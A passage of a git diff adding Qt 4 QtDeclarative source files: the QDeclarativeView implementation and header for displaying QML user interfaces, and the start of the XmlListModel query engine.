+ QObject::connect(component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), q, SLOT(continueExecute()));
+ }
+ }
+}
+
+void QDeclarativeViewPrivate::itemGeometryChanged(QDeclarativeItem *resizeItem, const QRectF &newGeometry, const QRectF &oldGeometry)
+{
+ Q_Q(QDeclarativeView);
+ if (resizeItem == root && resizeMode == QDeclarativeView::SizeViewToRootObject) {
+ // wait for both width and height to be changed
+ resizetimer.start(0,q);
+ }
+ QDeclarativeItemChangeListener::itemGeometryChanged(resizeItem, newGeometry, oldGeometry);
+}
+
+/*!
+ \class QDeclarativeView
+ \since 4.7
+ \brief The QDeclarativeView class provides a widget for displaying a Qt Declarative user interface.
+
+ QDeclarativeItem objects can be placed on a standard QGraphicsScene and
+ displayed with QGraphicsView. QDeclarativeView is a QGraphicsView subclass
+ provided as a convenience for displaying QML files, and connecting between
+ QML and C++ Qt objects.
+
+ QDeclarativeView provides:
+
+ \list
+ \o Management of QDeclarativeComponent loading and object creation
+ \o Initialization of QGraphicsView for optimal performance with QML using these settings:
+ \list
+ \o QGraphicsView::setOptimizationFlags(QGraphicsView::DontSavePainterState)
+ \o QGraphicsView::setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate)
+ \o QGraphicsScene::setItemIndexMethod(QGraphicsScene::NoIndex)
+ \endlist
+ \o Initialization of QGraphicsView for QML key handling using these settings:
+ \list
+ \o QGraphicsView::viewport()->setFocusPolicy(Qt::NoFocus)
+ \o QGraphicsView::setFocusPolicy(Qt::StrongFocus)
+ \o QGraphicsScene::setStickyFocus(true)
+ \endlist
+ \endlist
+
+ Typical usage:
+
+ \code
+ QDeclarativeView *view = new QDeclarativeView;
+ view->setSource(QUrl::fromLocalFile("myqmlfile.qml"));
+ view->show();
+ \endcode
+
+ Since QDeclarativeView is a QWidget-based class, it can be used to
+ display QML interfaces within QWidget-based GUI applications that do not
+ use the Graphics View framework.
+
+ To receive errors related to loading and executing QML with QDeclarativeView,
+ you can connect to the statusChanged() signal and monitor for QDeclarativeView::Error.
+ The errors are available via QDeclarativeView::errors().
+
+ If you're using your own QGraphicsScene-based scene with QDeclarativeView, remember to
+ enable scene's sticky focus mode and to set itemIndexMethod to QGraphicsScene::NoIndex.
+
+ \sa {Integrating QML Code with Existing Qt UI Code}, {Using QML Bindings in C++ Applications}
+*/
+
+
+/*! \fn void QDeclarativeView::sceneResized(QSize size)
+ This signal is emitted when the view is resized to \a size.
+*/
+
+/*! \fn void QDeclarativeView::statusChanged(QDeclarativeView::Status status)
+ This signal is emitted when the component's current \a status changes.
+*/
+
+/*!
+ \fn QDeclarativeView::QDeclarativeView(QWidget *parent)
+
+ Constructs a QDeclarativeView with the given \a parent.
+*/
+QDeclarativeView::QDeclarativeView(QWidget *parent)
+ : QGraphicsView(*(new QDeclarativeViewPrivate), parent)
+{
+ Q_D(QDeclarativeView);
+ setSizePolicy(QSizePolicy::Preferred,QSizePolicy::Preferred);
+ d->init();
+}
+
+/*!
+ \fn QDeclarativeView::QDeclarativeView(const QUrl &source, QWidget *parent)
+
+ Constructs a QDeclarativeView with the given QML \a source and \a parent.
+*/
+QDeclarativeView::QDeclarativeView(const QUrl &source, QWidget *parent)
+ : QGraphicsView(*(new QDeclarativeViewPrivate), parent)
+{
+ Q_D(QDeclarativeView);
+ setSizePolicy(QSizePolicy::Preferred,QSizePolicy::Preferred);
+ d->init();
+ setSource(source);
+}
+
+void QDeclarativeViewPrivate::init()
+{
+ Q_Q(QDeclarativeView);
+ engine = new QDeclarativeEngine();
+ q->setScene(new QDeclarativeScene(q));
+
+ q->setOptimizationFlags(QGraphicsView::DontSavePainterState);
+ q->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
+ q->setVerticalScrollBarPolicy(Qt::ScrollBarAlwaysOff);
+ q->setFrameStyle(0);
+
+ // These seem to give the best performance
+ q->setViewportUpdateMode(QGraphicsView::BoundingRectViewportUpdate);
+ q->scene()->setItemIndexMethod(QGraphicsScene::NoIndex);
+ q->viewport()->setFocusPolicy(Qt::NoFocus);
+ q->setFocusPolicy(Qt::StrongFocus);
+
+ q->scene()->setStickyFocus(true); //### needed for correct focus handling
+
+#ifdef QDECLARATIVEVIEW_NOBACKGROUND
+ q->setAttribute(Qt::WA_OpaquePaintEvent);
+ q->setAttribute(Qt::WA_NoSystemBackground);
+ q->viewport()->setAttribute(Qt::WA_OpaquePaintEvent);
+ q->viewport()->setAttribute(Qt::WA_NoSystemBackground);
+#endif
+
+ QDeclarativeInspectorService::instance()->addView(q);
+}
+
+/*!
+ Destroys the view.
+ */
+QDeclarativeView::~QDeclarativeView()
+{
+ QDeclarativeInspectorService::instance()->removeView(this);
+}
+
+/*! \property QDeclarativeView::source
+ \brief The URL of the source of the QML component.
+
+ Changing this property causes the QML component to be reloaded.
+
+ Ensure that the URL provided is full and correct, in particular, use
+ \l QUrl::fromLocalFile() when loading a file from the local filesystem.
+
+ \sa {Network Transparency}{Loading Resources in QML}
+ */
+
+/*!
+ Sets the source to the \a url, loads the QML component and instantiates it.
+
+ Ensure that the URL provided is full and correct, in particular, use
+ \l QUrl::fromLocalFile() when loading a file from the local filesystem.
+
+ Calling this methods multiple times with the same url will result
+ in the QML being reloaded.
+ */
+void QDeclarativeView::setSource(const QUrl& url)
+{
+ Q_D(QDeclarativeView);
+ d->source = url;
+ d->execute();
+}
+
+/*!
+ Returns the source URL, if set.
+
+ \sa setSource()
+ */
+QUrl QDeclarativeView::source() const
+{
+ Q_D(const QDeclarativeView);
+ return d->source;
+}
+
+/*!
+ Returns a pointer to the QDeclarativeEngine used for instantiating
+ QML Components.
+ */
+QDeclarativeEngine* QDeclarativeView::engine() const
+{
+ Q_D(const QDeclarativeView);
+ return d->engine;
+}
+
+/*!
+ This function returns the root of the context hierarchy. Each QML
+ component is instantiated in a QDeclarativeContext. QDeclarativeContext's are
+ essential for passing data to QML components. In QML, contexts are
+ arranged hierarchically and this hierarchy is managed by the
+ QDeclarativeEngine.
+ */
+QDeclarativeContext* QDeclarativeView::rootContext() const
+{
+ Q_D(const QDeclarativeView);
+ return d->engine->rootContext();
+}
+
+/*!
+ \enum QDeclarativeView::Status
+ Specifies the loading status of the QDeclarativeView.
+
+ \value Null This QDeclarativeView has no source set.
+ \value Ready This QDeclarativeView has loaded and created the QML component.
+ \value Loading This QDeclarativeView is loading network data.
+ \value Error One or more errors has occurred. Call errors() to retrieve a list
+ of errors.
+*/
+
+/*! \enum QDeclarativeView::ResizeMode
+
+ This enum specifies how to resize the view.
+
+ \value SizeViewToRootObject The view resizes with the root item in the QML.
+ \value SizeRootObjectToView The view will automatically resize the root item to the size of the view.
+*/
+
+/*!
+ \property QDeclarativeView::status
+ The component's current \l{QDeclarativeView::Status} {status}.
+*/
+
+QDeclarativeView::Status QDeclarativeView::status() const
+{
+ Q_D(const QDeclarativeView);
+ if (!d->component)
+ return QDeclarativeView::Null;
+
+ return QDeclarativeView::Status(d->component->status());
+}
+
+/*!
+ Return the list of errors that occurred during the last compile or create
+ operation. When the status is not Error, an empty list is returned.
+*/
+QList<QDeclarativeError> QDeclarativeView::errors() const
+{
+ Q_D(const QDeclarativeView);
+ if (d->component)
+ return d->component->errors();
+ return QList<QDeclarativeError>();
+}
+
+/*!
+ \property QDeclarativeView::resizeMode
+ \brief whether the view should resize the canvas contents
+
+ If this property is set to SizeViewToRootObject (the default), the view
+ resizes with the root item in the QML.
+
+ If this property is set to SizeRootObjectToView, the view will
+ automatically resize the root item.
+
+ Regardless of this property, the sizeHint of the view
+ is the initial size of the root item. Note though that
+ since QML may load dynamically, that size may change.
+*/
+
+void QDeclarativeView::setResizeMode(ResizeMode mode)
+{
+ Q_D(QDeclarativeView);
+ if (d->resizeMode == mode)
+ return;
+
+ if (d->declarativeItemRoot) {
+ if (d->resizeMode == SizeViewToRootObject) {
+ QDeclarativeItemPrivate *p =
+ static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(d->declarativeItemRoot));
+ p->removeItemChangeListener(d, QDeclarativeItemPrivate::Geometry);
+ }
+ } else if (d->graphicsWidgetRoot) {
+ if (d->resizeMode == QDeclarativeView::SizeViewToRootObject) {
+ d->graphicsWidgetRoot->removeEventFilter(this);
+ }
+ }
+
+ d->resizeMode = mode;
+ if (d->root) {
+ d->initResize();
+ }
+}
+
+void QDeclarativeViewPrivate::initResize()
+{
+ Q_Q(QDeclarativeView);
+ if (declarativeItemRoot) {
+ if (resizeMode == QDeclarativeView::SizeViewToRootObject) {
+ QDeclarativeItemPrivate *p =
+ static_cast<QDeclarativeItemPrivate *>(QGraphicsItemPrivate::get(declarativeItemRoot));
+ p->addItemChangeListener(this, QDeclarativeItemPrivate::Geometry);
+ }
+ } else if (graphicsWidgetRoot) {
+ if (resizeMode == QDeclarativeView::SizeViewToRootObject) {
+ graphicsWidgetRoot->installEventFilter(q);
+ }
+ }
+ updateSize();
+}
+
+void QDeclarativeViewPrivate::updateSize()
+{
+ Q_Q(QDeclarativeView);
+ if (!root)
+ return;
+ if (declarativeItemRoot) {
+ if (resizeMode == QDeclarativeView::SizeViewToRootObject) {
+ QSize newSize = QSize(declarativeItemRoot->width(), declarativeItemRoot->height());
+ if (newSize.isValid() && newSize != q->size()) {
+ q->resize(newSize);
+ }
+ } else if (resizeMode == QDeclarativeView::SizeRootObjectToView) {
+ if (!qFuzzyCompare(q->width(), declarativeItemRoot->width()))
+ declarativeItemRoot->setWidth(q->width());
+ if (!qFuzzyCompare(q->height(), declarativeItemRoot->height()))
+ declarativeItemRoot->setHeight(q->height());
+ }
+ } else if (graphicsWidgetRoot) {
+ if (resizeMode == QDeclarativeView::SizeViewToRootObject) {
+ QSize newSize = QSize(graphicsWidgetRoot->size().width(), graphicsWidgetRoot->size().height());
+ if (newSize.isValid() && newSize != q->size()) {
+ q->resize(newSize);
+ }
+ } else if (resizeMode == QDeclarativeView::SizeRootObjectToView) {
+ QSizeF newSize = QSize(q->size().width(), q->size().height());
+ if (newSize.isValid() && newSize != graphicsWidgetRoot->size()) {
+ graphicsWidgetRoot->resize(newSize);
+ }
+ }
+ }
+ q->updateGeometry();
+}
+
+QSize QDeclarativeViewPrivate::rootObjectSize() const
+{
+ QSize rootObjectSize(0,0);
+ int widthCandidate = -1;
+ int heightCandidate = -1;
+ if (root) {
+ QSizeF size = root->boundingRect().size();
+ widthCandidate = size.width();
+ heightCandidate = size.height();
+ }
+ if (widthCandidate > 0) {
+ rootObjectSize.setWidth(widthCandidate);
+ }
+ if (heightCandidate > 0) {
+ rootObjectSize.setHeight(heightCandidate);
+ }
+ return rootObjectSize;
+}
+
+QDeclarativeView::ResizeMode QDeclarativeView::resizeMode() const
+{
+ Q_D(const QDeclarativeView);
+ return d->resizeMode;
+}
+
+/*!
+ \internal
+ */
+void QDeclarativeView::continueExecute()
+{
+ Q_D(QDeclarativeView);
+ disconnect(d->component, SIGNAL(statusChanged(QDeclarativeComponent::Status)), this, SLOT(continueExecute()));
+
+ if (d->component->isError()) {
+ QList<QDeclarativeError> errorList = d->component->errors();
+ foreach (const QDeclarativeError &error, errorList) {
+ qWarning() << error;
+ }
+ emit statusChanged(status());
+ return;
+ }
+
+ QObject *obj = d->component->create();
+
+ if(d->component->isError()) {
+ QList<QDeclarativeError> errorList = d->component->errors();
+ foreach (const QDeclarativeError &error, errorList) {
+ qWarning() << error;
+ }
+ emit statusChanged(status());
+ return;
+ }
+
+ setRootObject(obj);
+ emit statusChanged(status());
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeView::setRootObject(QObject *obj)
+{
+ Q_D(QDeclarativeView);
+ if (d->root == obj || !scene())
+ return;
+ if (QDeclarativeItem *declarativeItem = qobject_cast<QDeclarativeItem *>(obj)) {
+ scene()->addItem(declarativeItem);
+ d->root = declarativeItem;
+ d->declarativeItemRoot = declarativeItem;
+ } else if (QGraphicsObject *graphicsObject = qobject_cast<QGraphicsObject *>(obj)) {
+ scene()->addItem(graphicsObject);
+ d->root = graphicsObject;
+ if (graphicsObject->isWidget()) {
+ d->graphicsWidgetRoot = static_cast<QGraphicsWidget*>(graphicsObject);
+ } else {
+ qWarning() << "QDeclarativeView::resizeMode is not honored for components of type QGraphicsObject";
+ }
+ } else if (obj) {
+ qWarning() << "QDeclarativeView only supports loading of root objects that derive from QGraphicsObject";
+ if (QWidget* widget = qobject_cast<QWidget *>(obj)) {
+ window()->setAttribute(Qt::WA_OpaquePaintEvent, false);
+ window()->setAttribute(Qt::WA_NoSystemBackground, false);
+ if (layout() && layout()->count()) {
+ // Hide the QGraphicsView in GV mode.
+ QLayoutItem *item = layout()->itemAt(0);
+ if (item->widget())
+ item->widget()->hide();
+ }
+ widget->setParent(this);
+ if (isVisible()) {
+ widget->setVisible(true);
+ }
+ resize(widget->size());
+ }
+ }
+
+ if (d->root) {
+ d->initialSize = d->rootObjectSize();
+ if (d->initialSize != size()) {
+ if (!(parentWidget() && parentWidget()->layout())) {
+ resize(d->initialSize);
+ }
+ }
+ d->initResize();
+ }
+}
+
+/*!
+ \internal
+ If the \l {QTimerEvent} {timer event} \a e is this
+ view's resize timer, sceneResized() is emitted.
+ */
+void QDeclarativeView::timerEvent(QTimerEvent* e)
+{
+ Q_D(QDeclarativeView);
+ if (!e || e->timerId() == d->resizetimer.timerId()) {
+ d->updateSize();
+ d->resizetimer.stop();
+ }
+}
+
+/*! \internal */
+bool QDeclarativeView::eventFilter(QObject *watched, QEvent *e)
+{
+ Q_D(QDeclarativeView);
+ if (watched == d->root && d->resizeMode == SizeViewToRootObject) {
+ if (d->graphicsWidgetRoot) {
+ if (e->type() == QEvent::GraphicsSceneResize) {
+ d->updateSize();
+ }
+ }
+ }
+ return QGraphicsView::eventFilter(watched, e);
+}
+
+/*!
+ \internal
+ Preferred size follows the root object geometry.
+*/
+QSize QDeclarativeView::sizeHint() const
+{
+ Q_D(const QDeclarativeView);
+ QSize rootObjectSize = d->rootObjectSize();
+ if (rootObjectSize.isEmpty()) {
+ return size();
+ } else {
+ return rootObjectSize;
+ }
+}
+
+/*!
+ Returns the initial size of the root object
+*/
+QSize QDeclarativeView::initialSize() const
+{
+ Q_D(const QDeclarativeView);
+ return d->initialSize;
+}
+
+/*!
+ Returns the view's root \l {QGraphicsObject} {item}.
+ */
+QGraphicsObject *QDeclarativeView::rootObject() const
+{
+ Q_D(const QDeclarativeView);
+ return d->root;
+}
+
+/*!
+ \internal
+ This function handles the \l {QResizeEvent} {resize event}
+ \a e.
+ */
+void QDeclarativeView::resizeEvent(QResizeEvent *e)
+{
+ Q_D(QDeclarativeView);
+ if (d->resizeMode == SizeRootObjectToView) {
+ d->updateSize();
+ }
+ if (d->declarativeItemRoot) {
+ setSceneRect(QRectF(0, 0, d->declarativeItemRoot->width(), d->declarativeItemRoot->height()));
+ } else if (d->root) {
+ setSceneRect(d->root->boundingRect());
+ } else {
+ setSceneRect(rect());
+ }
+ emit sceneResized(e->size());
+ QGraphicsView::resizeEvent(e);
+}
+
+/*!
+ \internal
+*/
+void QDeclarativeView::paintEvent(QPaintEvent *event)
+{
+ Q_D(QDeclarativeView);
+
+ QDeclarativeDebugTrace::addEvent(QDeclarativeDebugTrace::FramePaint);
+ QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Painting);
+
+ int time = 0;
+ if (frameRateDebug())
+ time = d->frameTimer.restart();
+
+ QGraphicsView::paintEvent(event);
+
+ QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Painting);
+
+ if (frameRateDebug())
+ qDebug() << "paintEvent:" << d->frameTimer.elapsed() << "time since last frame:" << time;
+
+#if QT_SHOW_DECLARATIVEVIEW_FPS
+ static QTime timer;
+ static int frames;
+
+ if (frames == 0) {
+ timer.start();
+ } else if (timer.elapsed() > 5000) {
+ qreal avgtime = timer.elapsed() / (qreal) frames;
+ qDebug("Average time per frame: %f ms (%i fps)", avgtime, int(1000 / avgtime));
+ timer.start();
+ frames = 0;
+ }
+ ++frames;
+ scene()->update();
+#endif
+
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/util/qdeclarativeview.h b/src/declarative/util/qdeclarativeview.h
new file mode 100644
index 00000000..043460c8
--- /dev/null
+++ b/src/declarative/util/qdeclarativeview.h
@@ -0,0 +1,119 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVIEW_H
+#define QDECLARATIVEVIEW_H
+
+#include <QtCore/qdatetime.h>
+#include <QtCore/qurl.h>
+#include <QtGui/qgraphicssceneevent.h>
+#include <QtGui/qgraphicsview.h>
+#include <QtGui/qwidget.h>
+#include <QtDeclarative/qdeclarativedebug.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QGraphicsObject;
+class QDeclarativeEngine;
+class QDeclarativeContext;
+class QDeclarativeError;
+
+class QDeclarativeViewPrivate;
+class Q_DECLARATIVE_EXPORT QDeclarativeView : public QGraphicsView
+{
+ Q_OBJECT
+ Q_PROPERTY(ResizeMode resizeMode READ resizeMode WRITE setResizeMode)
+ Q_PROPERTY(Status status READ status NOTIFY statusChanged)
+ Q_PROPERTY(QUrl source READ source WRITE setSource DESIGNABLE true)
+ Q_ENUMS(ResizeMode Status)
+public:
+ explicit QDeclarativeView(QWidget *parent = 0);
+ QDeclarativeView(const QUrl &source, QWidget *parent = 0);
+ virtual ~QDeclarativeView();
+
+ QUrl source() const;
+ void setSource(const QUrl&);
+
+ QDeclarativeEngine* engine() const;
+ QDeclarativeContext* rootContext() const;
+
+ QGraphicsObject *rootObject() const;
+
+ enum ResizeMode { SizeViewToRootObject, SizeRootObjectToView };
+ ResizeMode resizeMode() const;
+ void setResizeMode(ResizeMode);
+
+ enum Status { Null, Ready, Loading, Error };
+ Status status() const;
+
+ QList<QDeclarativeError> errors() const;
+
+ QSize sizeHint() const;
+ QSize initialSize() const;
+
+Q_SIGNALS:
+ void sceneResized(QSize size); // ???
+ void statusChanged(QDeclarativeView::Status);
+
+private Q_SLOTS:
+ void continueExecute();
+
+protected:
+ virtual void resizeEvent(QResizeEvent *);
+ virtual void paintEvent(QPaintEvent *event);
+ virtual void timerEvent(QTimerEvent*);
+ virtual void setRootObject(QObject *obj);
+ virtual bool eventFilter(QObject *watched, QEvent *e);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeView)
+ Q_DECLARE_PRIVATE(QDeclarativeView)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEVIEW_H
diff --git a/src/declarative/util/qdeclarativexmllistmodel.cpp b/src/declarative/util/qdeclarativexmllistmodel.cpp
new file mode 100644
index 00000000..a789996e
--- /dev/null
+++ b/src/declarative/util/qdeclarativexmllistmodel.cpp
@@ -0,0 +1,1157 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativexmllistmodel_p.h"
+
+#include <qdeclarativecontext.h>
+#include <qdeclarativeengine_p.h>
+
+#include <QDebug>
+#include <QStringList>
+#include <QMap>
+#include <QApplication>
+#include <QThread>
+#include <QXmlQuery>
+#include <QXmlResultItems>
+#include <QXmlNodeModelIndex>
+#include <QBuffer>
+#include <QNetworkRequest>
+#include <QNetworkReply>
+#include <QTimer>
+#include <QMutex>
+
+#include <private/qobject_p.h>
+
+Q_DECLARE_METATYPE(QDeclarativeXmlQueryResult)
+
+QT_BEGIN_NAMESPACE
+
+
+typedef QPair<int, int> QDeclarativeXmlListRange;
+
+#define XMLLISTMODEL_CLEAR_ID 0
+
+/*!
+ \qmlclass XmlRole QDeclarativeXmlListModelRole
+ \ingroup qml-working-with-data
+ \since 4.7
+ \brief The XmlRole element allows you to specify a role for an XmlListModel.
+
+ \sa {QtDeclarative}
+*/
+
+/*!
+ \qmlproperty string XmlRole::name
+
+ The name for the role. This name is used to access the model data for this role.
+
+ For example, the following model has a role named "title", which can be accessed
+ from the view's delegate:
+
+ \qml
+ XmlListModel {
+ id: xmlModel
+ // ...
+ XmlRole {
+ name: "title"
+ query: "title/string()"
+ }
+ }
+ \endqml
+
+ \qml
+ ListView {
+ model: xmlModel
+ delegate: Text { text: title }
+ }
+ \endqml
+*/
+
+/*!
+ \qmlproperty string XmlRole::query
+ The relative XPath expression query for this role. The query must be relative; it cannot start
+ with a '/'.
+
+ For example, if there is an XML document like this:
+
+ \quotefile doc/src/snippets/declarative/xmlrole.xml
+
+ Here are some valid XPath expressions for XmlRole queries on this document:
+
+ \snippet doc/src/snippets/declarative/xmlrole.qml 0
+ \dots 4
+ \snippet doc/src/snippets/declarative/xmlrole.qml 1
+
+ See the \l{http://www.w3.org/TR/xpath20/}{W3C XPath 2.0 specification} for more information.
+*/
+
+/*!
+ \qmlproperty bool XmlRole::isKey
+ Defines whether this is a key role.
+
+ Key roles are used to to determine whether a set of values should
+ be updated or added to the XML list model when XmlListModel::reload()
+ is called.
+
+ \sa XmlListModel
+*/
+
+struct XmlQueryJob
+{
+ int queryId;
+ QByteArray data;
+ QString query;
+ QString namespaces;
+ QStringList roleQueries;
+ QList<void*> roleQueryErrorId; // the ptr to send back if there is an error
+ QStringList keyRoleQueries;
+ QStringList keyRoleResultsCache;
+ QString prefix;
+};
+
+
+class QDeclarativeXmlQueryEngine;
+class QDeclarativeXmlQueryThreadObject : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeXmlQueryThreadObject(QDeclarativeXmlQueryEngine *);
+
+ void processJobs();
+ virtual bool event(QEvent *e);
+
+private:
+ QDeclarativeXmlQueryEngine *m_queryEngine;
+};
+
+
+class QDeclarativeXmlQueryEngine : public QThread
+{
+ Q_OBJECT
+public:
+ QDeclarativeXmlQueryEngine(QDeclarativeEngine *eng);
+ ~QDeclarativeXmlQueryEngine();
+
+ int doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *>* roleObjects, QStringList keyRoleResultsCache);
+ void abort(int id);
+
+ void processJobs();
+
+ static QDeclarativeXmlQueryEngine *instance(QDeclarativeEngine *engine);
+
+signals:
+ void queryCompleted(const QDeclarativeXmlQueryResult &);
+ void error(void*, const QString&);
+
+protected:
+ void run();
+
+private:
+ void processQuery(XmlQueryJob *job);
+ void doQueryJob(XmlQueryJob *job, QDeclarativeXmlQueryResult *currentResult);
+ void doSubQueryJob(XmlQueryJob *job, QDeclarativeXmlQueryResult *currentResult);
+ void getValuesOfKeyRoles(const XmlQueryJob& currentJob, QStringList *values, QXmlQuery *query) const;
+ void addIndexToRangeList(QList<QDeclarativeXmlListRange> *ranges, int index) const;
+
+ QMutex m_mutex;
+ QDeclarativeXmlQueryThreadObject *m_threadObject;
+ QList<XmlQueryJob> m_jobs;
+ QSet<int> m_cancelledJobs;
+ QAtomicInt m_queryIds;
+
+ QDeclarativeEngine *m_engine;
+ QObject *m_eventLoopQuitHack;
+
+ static QHash<QDeclarativeEngine *,QDeclarativeXmlQueryEngine*> queryEngines;
+ static QMutex queryEnginesMutex;
+};
+QHash<QDeclarativeEngine *,QDeclarativeXmlQueryEngine*> QDeclarativeXmlQueryEngine::queryEngines;
+QMutex QDeclarativeXmlQueryEngine::queryEnginesMutex;
+
+
+QDeclarativeXmlQueryThreadObject::QDeclarativeXmlQueryThreadObject(QDeclarativeXmlQueryEngine *e)
+ : m_queryEngine(e)
+{
+}
+
+void QDeclarativeXmlQueryThreadObject::processJobs()
+{
+ QCoreApplication::postEvent(this, new QEvent(QEvent::User));
+}
+
+bool QDeclarativeXmlQueryThreadObject::event(QEvent *e)
+{
+ if (e->type() == QEvent::User) {
+ m_queryEngine->processJobs();
+ return true;
+ } else {
+ return QObject::event(e);
+ }
+}
+
+
+
+QDeclarativeXmlQueryEngine::QDeclarativeXmlQueryEngine(QDeclarativeEngine *eng)
+: QThread(eng), m_threadObject(0), m_queryIds(XMLLISTMODEL_CLEAR_ID + 1), m_engine(eng), m_eventLoopQuitHack(0)
+{
+ qRegisterMetaType<QDeclarativeXmlQueryResult>("QDeclarativeXmlQueryResult");
+
+ m_eventLoopQuitHack = new QObject;
+ m_eventLoopQuitHack->moveToThread(this);
+ connect(m_eventLoopQuitHack, SIGNAL(destroyed(QObject*)), SLOT(quit()), Qt::DirectConnection);
+ start(QThread::IdlePriority);
+}
+
+QDeclarativeXmlQueryEngine::~QDeclarativeXmlQueryEngine()
+{
+ queryEnginesMutex.lock();
+ queryEngines.remove(m_engine);
+ queryEnginesMutex.unlock();
+
+ m_eventLoopQuitHack->deleteLater();
+ wait();
+}
+
+int QDeclarativeXmlQueryEngine::doQuery(QString query, QString namespaces, QByteArray data, QList<QDeclarativeXmlListModelRole *>* roleObjects, QStringList keyRoleResultsCache) {
+ {
+ QMutexLocker m1(&m_mutex);
+ m_queryIds.ref();
+ if (m_queryIds <= 0)
+ m_queryIds = 1;
+ }
+
+ XmlQueryJob job;
+ job.queryId = m_queryIds;
+ job.data = data;
+ job.query = QLatin1String("doc($src)") + query;
+ job.namespaces = namespaces;
+ job.keyRoleResultsCache = keyRoleResultsCache;
+
+ for (int i=0; i<roleObjects->count(); i++) {
+ if (!roleObjects->at(i)->isValid()) {
+ job.roleQueries << QString();
+ continue;
+ }
+ job.roleQueries << roleObjects->at(i)->query();
+ job.roleQueryErrorId << static_cast<void*>(roleObjects->at(i));
+ if (roleObjects->at(i)->isKey())
+ job.keyRoleQueries << job.roleQueries.last();
+ }
+
+ {
+ QMutexLocker ml(&m_mutex);
+ m_jobs.append(job);
+ if (m_threadObject)
+ m_threadObject->processJobs();
+ }
+
+ return job.queryId;
+}
+
+void QDeclarativeXmlQueryEngine::abort(int id)
+{
+ QMutexLocker ml(&m_mutex);
+ if (id != -1)
+ m_cancelledJobs.insert(id);
+}
+
+void QDeclarativeXmlQueryEngine::run()
+{
+ m_mutex.lock();
+ m_threadObject = new QDeclarativeXmlQueryThreadObject(this);
+ m_mutex.unlock();
+
+ processJobs();
+ exec();
+
+ delete m_threadObject;
+ m_threadObject = 0;
+}
+
+void QDeclarativeXmlQueryEngine::processJobs()
+{
+ QMutexLocker locker(&m_mutex);
+
+ while (true) {
+ if (m_jobs.isEmpty())
+ return;
+
+ XmlQueryJob currentJob = m_jobs.takeLast();
+ while (m_cancelledJobs.remove(currentJob.queryId)) {
+ if (m_jobs.isEmpty())
+ return;
+ currentJob = m_jobs.takeLast();
+ }
+
+ locker.unlock();
+ processQuery(&currentJob);
+ locker.relock();
+ }
+}
+
+QDeclarativeXmlQueryEngine *QDeclarativeXmlQueryEngine::instance(QDeclarativeEngine *engine)
+{
+ queryEnginesMutex.lock();
+ QDeclarativeXmlQueryEngine *queryEng = queryEngines.value(engine);
+ if (!queryEng) {
+ queryEng = new QDeclarativeXmlQueryEngine(engine);
+ queryEngines.insert(engine, queryEng);
+ }
+ queryEnginesMutex.unlock();
+
+ return queryEng;
+}
+
+void QDeclarativeXmlQueryEngine::processQuery(XmlQueryJob *job)
+{
+ QDeclarativeXmlQueryResult result;
+ result.queryId = job->queryId;
+ doQueryJob(job, &result);
+ doSubQueryJob(job, &result);
+
+ {
+ QMutexLocker ml(&m_mutex);
+ if (m_cancelledJobs.contains(job->queryId)) {
+ m_cancelledJobs.remove(job->queryId);
+ } else {
+ emit queryCompleted(result);
+ }
+ }
+}
+
